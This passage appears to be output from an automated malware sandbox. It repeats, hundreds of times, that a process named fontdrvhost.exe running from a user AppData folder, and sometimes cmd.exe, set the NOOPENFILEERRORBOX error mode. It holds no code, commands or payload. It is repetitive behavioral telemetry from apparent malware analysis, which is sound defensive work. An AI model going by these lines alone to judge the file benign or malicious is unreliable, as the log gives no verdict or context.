Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
